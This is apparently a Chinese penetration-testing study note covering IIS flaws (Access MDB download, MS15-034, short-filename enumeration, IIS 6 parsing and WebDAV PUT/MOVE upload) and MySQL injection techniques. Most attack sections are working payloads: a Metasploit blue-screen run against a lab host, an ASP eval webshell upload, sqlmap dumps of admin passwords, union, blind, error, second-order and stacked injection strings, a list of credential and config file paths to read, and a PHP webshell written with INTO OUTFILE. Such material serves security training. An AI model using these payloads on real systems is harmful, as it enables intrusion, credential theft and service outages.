IIS&Access
IIS
IIS是基于windows自带的web应用服务,IIS是互联网信息服务,是微软提供的基于Windows的网页服务组件,支持ASP、FTP、SMTP等功能.
主要漏洞类型:
-
数据库泄露:MDB数据库默认路径泄露
-
注入攻击:Access数据库注入风险
-
中间件漏洞:IIS相关漏洞(CVE、短文件、解析、写入权限等)
MDB数据库泄露
由于大部分ASP程序与Access数据库搭建,但Access无需连接,都在脚本文件中定义配置好数据库路径即用,不需要额外配置安装数据库,所以大部分提前固定好的数据库路径,如默认未修改,当攻击者知道数据库的完整路径,可远程下载后解密数据实现攻击。
-
技术背景:ASP常与ACCESS数据库搭配使用,配置路径直接写在脚本文件中
-
漏洞成因:默认数据库路径未修改,攻击者获取完整路径后可远程下载
-
攻击方式:下载数据库文件后解密获取敏感数据
-
防护建议:修改默认数据库路径,加强访问控制
使用相关目录扫描工具,进行枚举,若存在.mdb文件,直接下载
-
字典扫描:批量尝试常见后台路径
-
短文件漏洞:利用系统特性探测
-
爬虫分析:从页面链接提取路径
HTTP.SYS漏洞
HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞
漏洞成因
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞
漏洞危害
攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。
影响版本
任何安装了微软IIS 6.0以上的的Windows 7、Windows Server 2008 R2、 Windows Server 2012 R2 、Windows Server 2012、Windows 8、2、Windows 8.1 系统
漏洞环境部署
windows7下安装IIS服务

查看是否能够正常访问:
漏洞检验
攻击机KALI: 192.168.138.140
靶机:192.168.138.131
#攻击机
curl http://192.168.138.131 -H "Host: 192.168.138.131" -H "Range: bytes=0-18446744073709551615"
#在响应包中查看
HTTP Error 416. The requested range is not satisfiable.
#若存在说明存在web.sys漏洞
漏洞利用
#攻击机
##进入msf
> msfconsle -q
##搜索漏洞
msf6 > search ms15_034
##使用漏洞
msf6 > use auxiliary/dos/http/ms15_034_ulonglongadd
##配置目标靶机
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set rhosts 192.168.138.131
##运行payload
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run
攻击成功:windows7蓝屏,蓝屏后会自动重启

漏洞防御
禁用IIS的内核缓存:可能导致IIS性能降低

中间件相关漏洞
IIS短文件漏洞
一、漏洞描述
此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
二、漏洞原理
IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
漏洞成因:
为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。
在Windows下查看对应的短文件名,可以使用命令dir /x

短文件名特征:
1.只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增

2.后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

3.所有小写字母均转换成大写的字母
4.长文件名中包含多个"."的时候,以文件最后一个"."作为短文件名的后缀

5.长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。

三、相关扫描工具
python
IIS_shortname_Scan.py http://stom.tencent.com

实战技巧:
-
结合常见命名习惯猜测后续字符(如admin、backup等)
-
对扫描出的zip文件要特别关注,可能是网站备份
-
可与字典扫描配合使用提高探测效率
解析漏洞
影响版本: 仅存在于IIS 6.0和7.0版本,其中6.0版本漏洞更普遍
版本差异:
-
6.0版本(windows 2003相匹配):官方未认定是漏洞,无补丁发布,导致几乎所有6.0版本都存在该漏洞
-
7.0版本(windows 2008相匹配):官方发布了补丁,导致仅有约1%的7.0版本存在漏洞
漏洞利用方式
漏洞利用方式
-
第一种方式(文件名解析):
-
示例:login.asp;.jpg
-
原理:虽然文件显示为图片格式,但仍会被当作ASP文件解析
-
演示:后门文件1.asp重命名为1.asp;.jpg后仍可正常连接
-
-
第二种方式(目录名解析):
-
示例:/1.asp/1.jpg
-
原理:当目录名包含.asp时,目录下的任意文件都会被当作ASP解析
-
演示:/1.asp/1.jpg文件会被当作ASP脚本执行
-
文件上传配置错误漏洞
IIS 6.0 漏洞复现 - lalalalalalalala - 博客园
配置错误:
-
在IIS属性中勾选"写入"权限
-
在扩展中启用WebDAV
利用方法:
-
使用PUT请求直接上传文件
-
配合解析漏洞将上传文件转为可执行脚本
影响范围:
-
主要影响IIS 5.0-6.0版本
-
现代系统中已很少见,仅存在于老旧系统
漏洞演示
-
PUT请求利用:
-
通过PUT方法可直接上传任意文件(如3.txt)
-
关闭写入权限后该漏洞即失效
-
-
组合利用:
-
先上传后门文件
-
再利用解析漏洞或MOVE方法将文件改为可执行格式
-
推荐工具: IIS Put Scaner v1.3
思路: 先看下 iis 版本,可以用浏览器插件 Wappalyzer,也可以使用 OPTIONS 请求方法查看:
HTTP1.0 定义了三种请求方法: GET、POST、HEAD HTTP1.1 新增了五种请求方法:OPTIONS、PUT、DELETE、TRACE 、CONNECT
curl -X OPTIONS http://xxx.xxx.xxx.xxx:yyy/ -I
使用burp进行抓包修改:
将 GET 修改为 OPTIONS 查看可执行命令:

然后我们 PUT 一个 ASP 一句话上去,文件名随便写比如 2.txt:

返回 201 Created,创建成功
PS:
这里注意一个问题,不要只把 GET 改为 PUT 2.txt,后面还有一个斜杠 / 记得删掉
我开始也搞了半天,看解析思路评论区很多老哥说怎么试都不行最后精简为自己手写请求语句和 HOST 才成功
我看了下都是没有删除这个斜杠,所以做题一定要细心啊
然后就可以使用 MOVE 命令把 2.txt 改为 2.asp;.jpg 让解析漏洞解析 asp
核心语句如下;
MOVE /2.txt HTTP/1.1
Host: ip:端口
Destination: /2.asp;.jpg
<%eval request("soapffz")%>

会返回 401 Unauthorized,这个不影响,直接上蚁剑连接
Access
注入产生原理
原理:当用户输入的数据未经过滤直接拼接到SQL语句中执行时,攻击者可通过构造特殊输入改变原SQL语义
验证方法:
-
输入异常字符(如单引号)观察是否报错
-
确认报错内容是否包含数据库错误信息(如MySQL语法错误)
-
区分真正的数据库报错与容错页面(如404页面)
注意:在注入报错时,有时会出现容错页面,
容错页面(如404)≠ 注入漏洞
需区分代码逻辑报错(前端拦截)与数据库执行报错(后端注入)
Access注入方式
Access注入完全依赖字典猜解,会遇到猜解失败的情况
使用SQLMap工具:
注入三步骤:
-
1.猜表名(使用--tables参数)
-
2.猜列名/字段名(使用--columns参数)
-
3.猜数据(使用--dump参数)
1、输入注入点
sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513"
2、猜表名:
sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513" --tables
3、根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)
sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513" --columns -T admin
4、获取数据
sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513" --dump -C "admin,password" -T admin
Mysql
Mysql注入(以获取webshell为目的)
-
root用户:先测试读写权限,再获取数据信息
-
非root用户:直接测试获取数据
与Access数据库不同,Mysql数据库并不直接存储在文件中,而是保存在数据库中
可能存在的架构:
-
数据库系统同一由root用户管理(root用户可以看所有的数据库信息)
-
test1网站--->root用户管理
-
test2网站--->root用户管理
-
-
数据库系统由不同用户管理(普通用户只能看到自己管理的数据库信息)
-
test1网站----> user1用户管理
-
test2网站----> user2用户管理
-
Mysql注入方式
有回显注入
原理:接受的参数值未进行过滤 直接带入SQL查询的操作 攻击:利用SQL语句执行你想要的东西 (SQL语句能干嘛,注入就能干嘛) SQL语句能干嘛⇒SQL语句由谁决定⇒数据库类型决定〈为什么mysql注入。oracle注人叫法原因)
1、通常获取相关数据
获取相关数据: 1、数据库版本-看是否符合information_schema查询-version() 2、数据库用户-看是否符合ROOT型注入攻击-user() 3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os 4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值
1、判断是否存在注入点
在参数后面加上单引号,比如: http://xxx/abc.php?id=1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
2、判断存在的回显字段数
通过 order by 排序获取字段数
select 1,2,3,4 from users where id=1 order by [num]
order by [num] //按照指定列进行排序
若在指定的数字[num]下正常,数字+1[num+1]后报错,则该数字就是回显的字段数量
#正常回显
select 1,2,3,4,5 from user where id order by 5;
#报错
select 1,2,3,4,5 from user where id order by 6;
## 回显的字段数为5
3、系统信息查询
获取回显的字段数后,通过 union select ...语句,来进行查询版本,用户等信息
# 获取 系统版本,用户,版本,当前使用的数据库
select 1,2,3,4 from users where id=1 union select 1,@@version_compile_os,user(),version(),database() ;
若version < 5.0 ,则没有information_schema数据库
4、查询表名
根据information_schema.tables 查询数据库名为demo01的表名
# sql语句
select 1,2,3,4 from users where id=1 union select 1,2,group_concat(table_name) from information_schema.tables where tables_schema='demo01';
# group_concat():将多列的结果,合并为一行显示
5、查询字段名
根据information_schema.columns 查询表名为users 的字段信息
# sql语句
select 1,2,3,4 from users where id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';
6、获取表中数据
# sql语句
select 1,2,3,4 from users where id=1 union select union select 1,2,username,password,4 from users limit 0,1;
## limit 0,1:在SQL 查询中,LIMIT 子句用于限制返回的结果集的行数。LIMIT 0 1 是一个常见的用法,表示从结果集的第 0 行开始,只返回一行数据。
增删改查注入
1、数据查询
数据展示功能页面,留意URL是否有相关的参数传递,如新闻页面,
select * from news where id=$id;
2、数据增加
注册用户、留言板等能够插入数据的功能页面
INSERT INTO news (字段名) VALUES (数据)
相关payload:
#正常的sql语句
INSERT INTO admin('id','username','password','ip') VALUES ('3','xiaodi_sec','x123456','127.0.0.1')
#恶意构造
INSERT INTO admin('id','username','password','ip') VALUES ('3','xiaodi_sec','x123456','127.0.0.1') or updatexml(1,concat(0x7e,(select version()),0x7e),1)# ')
insert into users(id,username,passowrd) values(2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or '','Nervo');
insert into users(id,username,password) values(2,'Olivia' or extractvalue(1,concat(0x7e,database())) or '','Nervo');
3、数据删除
移除用户、删除内容等功能
DELETE FROM news WHERE id=$id
相关payload
#正常的sql语句
DELETE FROM news WHERE id=2
#恶意语句
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or '';
4、数据修改
编辑用户信息、更新文章等功能
UPDATE news SET id=$id
相关payload
#正常的sql语句
update user set passowrd='Nicky' or updatexml(1,concat(0x7e,(version())),0) or '' where id=2 and username='Nervo';
#恶意语句
update user set passowrd='Nicky' or updatexml(1,concat(0x7e,(version())),0) or '' where id=2 and username='Nervo';
update users set passowrd='Nicky' or extractvalue(1,concat(0x7e,database())) or '';
无回显注入
无回显常用的方式为:布尔注入,时间盲注,报错注入
盲注就是在注入过程中 ,获取的数据不能回显至前端页面。 我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
布尔类型盲注
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。 这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。
常用函数:
length() 返回字符串的长度,例如可以返回数据库名字的长度
substr() ⽤来截取字符串
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句
注入步骤:
1、判断是否存在注入
相关payload
#注入语句:
1' and 1=1 #
#带入查询的语句:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';";
#注入语句:
1' and 1=2 #
#带入查询的语句:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 #';";
#若1' and 1=1 # 回显正常 --- 1' and 1=2 # 回显异常 --->存在字符型注入
#若1 and 1=1 # 回显正常 --- 1 and 1=2 # 回显异常 --->存在数字型注入
2、猜解当前数据库名
方式一
1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 #
1' and length(database())=4 # ----> 页面返回正常
----->说明数据库长度名为4
方式二
#⼆分法逐字猜解
1' and ascii(substr(database(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);
1' and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);
1' and ascii(substr(database(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值)
1' and ascii(substr(database(),1,1))<103 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 103(⼩写字母g的ascii值);
1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值);
1' and ascii(substr(database(),1,1))=100 #,显⽰存在,说明数据库名的第⼀个字符的ascii值等于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。
重复以上步骤直到得出完整的数据库名dvwa
1' and ascii(substr(database(),n,1))>100
... ...
猜解数据库第一个字符为:d
1' and ascii(substr(database(),1,1))=100 #
猜解数据库第二个字符为:v
1' and ascii(substr(database(),2,1))=118 #
猜解数据库第三个字符为:w
1' and ascii(substr(database(),3,1))=119 #
猜解数据库第三个字符为:a
1' and ascii(substr(database(),4,1))=97 #
注释:
substr(str,start,stop)
substr截取字符串str,从start开始截取,截取stop个字符
3、猜解表名
猜解表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在
注释:
原理是使用count()这个函数来判断table_name这个表的数量有几个
然后后面有一个where判断来指定是当前数据库
在末尾有一个 =1 ,意思是判断表有1个,正确那么页面返回正常,错误即返回不正常
猜表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显⽰存在
-------->表名的长度为9
注释:
select table_name from information_schema.tables where table_schema=database() limit 0,1),1) 这条语句就是substr的str,要截取的字符
limit 0,1 这条语句是 limit 子句来限制查询的数量,具体格式是这样的:
select * from tableName limit i,n
tableName:表名
i:为查询结果的索引值(默认从0开始),当i=0时可省略i
n:为查询结果返回的数量
i与n之间使用英文逗号","隔开
limit n 等同于 limit 0,n
limit 0,1 默认0(i)就是从1开始
substr(string ,1) : 从右第1位置截取到最后
猜解表的名字
#猜解第一个表名的第一个字符长度是否为:g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 返回正常
语法格式:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit i,1),n,1))>97 #
i 是第几个表
n 是第几个字符长度
4、猜解表中的字段名
判断表名users的字段数量是否为8
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #
-------->字段有8个
猜解第⼀个字段的长度
猜解第一个字段的长度是否为7:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #
猜解第二个字段的长度是否为10:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))=10 #
........
猜解字段名
猜解第一个字段名的第一个字符为:u
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=117 #
猜解第一个字段名的第二个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=115 #
......
猜解第二个字段名的第一个字符:f
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=102 #
5、猜解数据
根据ascii码来猜解数据
猜解 dvwa.users 表下的 user 列的第一个字段内容为:a
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #
猜解 dvwa.users 表下的 user 列的第二个字段内容为:d
1' and ascii(substr((select user from dvwa.users limit 0,1),2,1))=100 #
时间盲注
报错和回显都不需要,通过延时时间来判断是否存在SQL注入
主要的时间盲注函数
MySQL时间盲注五种延时方法 - komomon - 博客园
sleep():
sleep(x) select sleep(5);benchmark(): 重复执行某表达式
benchmark(t,exp) select benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟, 比如select benchmark(1000000,encode("hello","good")); select benchmark( 5000000, md5( 'test' ));
eg.
SELECT * FROM users WHERE username = 'input' AND password = 'input'
判断是否存在注入
SELECT * FROM users WHERE username = '1' or if(1=1,sleep(5),0)-- AND password = 'input'
#在这个注入中,IF(1=1, SLEEP(5), 0)语句将始终为真,导致执行SLEEP(5)函数。双破折号(--)用于注释掉原始查询的其余部分,以防止语法错误。
相关语句
-- 判断数据库名称的长度是否大于1,如果是则延时5秒,否则立即返回
SELECT IF(LENGTH(DATABASE()) > 1, SLEEP(5), 1);
-- 判断数据库名称的第一个字符是否为's',如果是则延时5秒,否则立即返回
SELECT IF(SUBSTR(DATABASE(), 1, 1) = 's', SLEEP(5), 1);
....
报错注入
基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息。
常用报错注入函数
updatexml()
updatexml 函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息。
示例: 上述语句尝试通过 updatexml 函数将波浪符 0x7e 连接到数据库名称,从而引发错误并回显数据库名称。
updatexml(1, concat(0x7e, (SELECT database())), 1)extractvalue()
extractvalue函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。上述语句尝试通过
extractvalue函数将波浪符0x7e连接到当前用户的名称,从而引发错误并回显用户信息。
extractvalue(1, concat(0x7e, (SELECT user())), 1)
相关注入payload
#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
二次注入

简单来说,就是先将恶意的SQL语句插入到数据库中,然后在查询该语句的时候,恶意构造的SQL语句被执行。
利用条件
1、使用了魔法转义函数或者功能(保证构造的payload能够进入数据库)
addslashes()、magic_quotes_gpc
2、插入的恶意语句能被查询
在insert into admin values('1','admin',password);
payload:
insert into admin('id','username','password') values('1','a' or updatexml(1,concat(0x7e,(select version()),0x7e),1) #,'password')
可以看到构造的payload在插入数据库时,插入的'导致输入的内容多于实际需要的的内容,这就需要使用魔法转义来达到正常插入的目的。
insert into admin('id','username','password') values('1','a\' or updatexml(1,concat(0x7e,(select version()),0x7e),1) #,'password');
这样将'转义后,就能正常处理
数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入
黑盒思路 :分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句)) 白盒思路:insert后进入select或update的功能的代码块(源代码去审) 注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用)
DEMO:
注册新用户时,将注入的内容包含在注册的用户名后:
admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
成功注入,并查看数据库,数据库中也存放了响应的注入语句
正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号


需要注意的条件:实现二次注入,源码中有对应的转义( magic_quotes_gpc)或使用转义函数(addslashes)
堆叠注入
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句 例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等
利用条件:
-
使用了执行多条语句的函数
-
目标存在SQL注入漏洞
-
未对;进行过滤
相关payload
#查询当前数据库
';show databases;
#查询数据表
';show tables;
#查询表中数据
';select * from admin ;
带外注入
产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据
解决不回显,反向连接,SQL注入,命令执行,SSRF等
dnslog:
注入条件:
-
ROOT高权限且支持load_file()
-
secure-file-priv= 设置→默认关闭,必须添加到MYsql的配置文件my.ini中
-
secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
-
如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
-
如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE。
-
-
例如,如果 secure_file_priv 被设置为 f:\,那么在执行 LOAD DATA INFILE 或 SELECT ... INTO OUTFILE 时,只允许读写位于 f:\ 目录下的文件。
SQL跨库查询
跨库查询是指在一个SQL查询中访问多个数据库中的表。根据数据库所在的服务不同,跨库查询可以分为同服务的跨库查询和不同服务的跨库查询。
跨库条件:当前的数据库为ROOT用户权限
普通用户只能看到自己管理的数据库下的表
跨库语句
#sql语句,表获取所有数据库的名称,并将这些名称连接成一个字符串。
select 1,2,3,4 from users where id=1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata;
注意:在跨库查询时,必须指明时来在哪个数据库的表名
zblog.zbp_member
单引号绕过
在进行构造sql语句的payload时,可能服务器对单引号进行了过滤,导致进入数据库的sql语句失效。
十六进制绕过
使用十六进制进行替代
#在使用十六进制时,注入的语句的单引号不需要进行编码
select 1,2,3,4 from users where id=1 union select 1,2,group_concat(table_name) from information_schema.tables where tables_schema='demo01';
#编码后
select 1,2,3,4 from users where id=1 union select 1,2,group_concat(table_name) from information_schema.tables where tables_schema=0x64656d6f3031;
###只需将demo01编码,在编码后执行SQL注入时候要在编码前加0x
SQL文件读写
必要条件:
-
当前数据库用户权限→必须是root用户
-
secure_file_priv 设置为空
secure_file_priv:
是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
如果
secure_file_priv被设置为f:\\,那么在执行LOAD DATA INFILE或SELECT ... INTO OUTFILE时,只允许读写位于f:\\目录下的文件。
读操作
#sql语句
select 1,2,3,4 from users where id=1 union select 1,load_file(‘d:\1.txt’),3,4;
#尝试使用 MySQL 的 load_file 函数加载本地文件 ‘d:\1.txt’ 的内容,并将其作为查询结果的一部分返回。
Windows下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
Linux下:/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
写操作
#sql语句
select 1,2,3,4 from users where id=1 union select 1,‘xiaodi’,3,4 into outfile ‘d:\2.txt’
通过写操作写webshell时,需要知道web站点的绝对路径,才能获取权限
#sql语句
select 1,2,3,4 from users where id=1 union select 1,2,'<?php eval($_POST[x]);?>',4 into outfile 'G:\\develop\\safety\\phpstudy_pro\\WWW\\dome01\\xiaodi.php'
## 将木马文件写入网站源码目录
查找读写路径
1、通过报错获取web站点路径
2、phpinfo页面泄露
数据请求类型
SQL语句由于在黑盒中是无法预知写法的,SQL注入能发成功是需要拼接原SQL语句
大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。
究其原因大部分都是原SQL语句的未知性导致的拼接失败!由于开发者对于数据类型和SQL语句写法(框架写法)导致SQL注入拼接失败
数字型
select * from news where id=$id;
没有符号干扰,直接在构造sql语句即可
select 1,2,3,4 from news where id=1 union select 1,2,3,4;
payload: 1 union select 1,2,3,4
字符型
select * from news where id='$id';
有单引号''进行干扰,需要在SQL注入的时候使用单引号进行闭合
select 1,2,3,4 from news where id='1' union select 1,2,3,4 --+ '
payload:1' union select 1,2,3,4 --+
搜索型
select * from news where id='%id%';
有百分号%和单引号'进行干扰,需要在构造SQL语句时使用%'进行闭合
select * from news where id='%1%' union select 1,2,3,4 --+%';
payload:1%' union select 1,2,3,4 --+
框架型注入
select 1,2,3,4 from news where id=('$id');
select 1,2,3,4 from news where (id='$id') limit 0,1;
select 1,2,3,4 from news where (id='$id') order by 1 ;
框架存在的符号干扰较多,通常可以使用 \,将后面的符号进行转移,通过报错的内容来进行符号的判定
select 1,2,3,4 from news where id=('1') union select 1,2,3,4 --+ ');
payload: 1') union select 1,2,3,4 --+
select 1,2,3,4 from news where (id='$1') union select 1,2,3,4 --+ ') limit 0,1;
payload: 1') union select 1,2,3,4 --+
select 1,2,3,4 from news where (id='1') union select 1,2,3,4 --+ ') order by 1 ;
payload: 1') union select 1,2,3,4 --+
数据请求方法
常用的请求方法:GET 、POST、SERVER、FILES、HTTPS头等
GET请求方法
PHP实现方法
# 从 URL 中的 GET 请求中获取参数 ‘g’ 的值,并将其赋给变量 $g。
$g=$_GET['g'];
#接收客户端发送的所有数据,包括GET、POST、Cookie
$r=$_REQUEST['r'];
GET方式提交通常会在url后有参数赋值的信息
#GET请求特征
http://example.com/news.php?id=1
#GET方法Payload
http://example.com/news.php?id=1 order by 2
....
POST请求方法
PHP实现方法
#从 POST 请求中获取参数 ‘p’ 的值,并将其赋给变量 $p
$p=$_POST['p'];
一般出现在表单提交,文件上传的位置,在地址栏中看不到输入的具体信息。
一般测试方法:
## 通过burp抓包
#账号输入:
admin' order by 1 --+
#密码输入:
password' order by 1 --+
请求头构造方法
PHP代码
#从客户端的 Cookie 中获取名为 ‘c’ 的值,并将其赋给变量 $c。
$c=$_COOKIE['c'];
-
User-Agent:服务器识别客户使用的操作系统,游览器版本等.
-
Cookie:用户的身份存储信息,一般存储在客户端本地
-
X-Forwarded-For(XXF):客户端发起HTTP请求的真实IP[通过修改XXF头可以实现伪造IP ----> 绕过基于XXF判断的绕过]
-
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
-
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
UA使用场景
很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中
Cookie适用场景
将Cookie存储在数据库中
XXF使用场景
后端管理平台验证IP地址,将数据插入到数据库中,可能造成insert语句的SQL注入
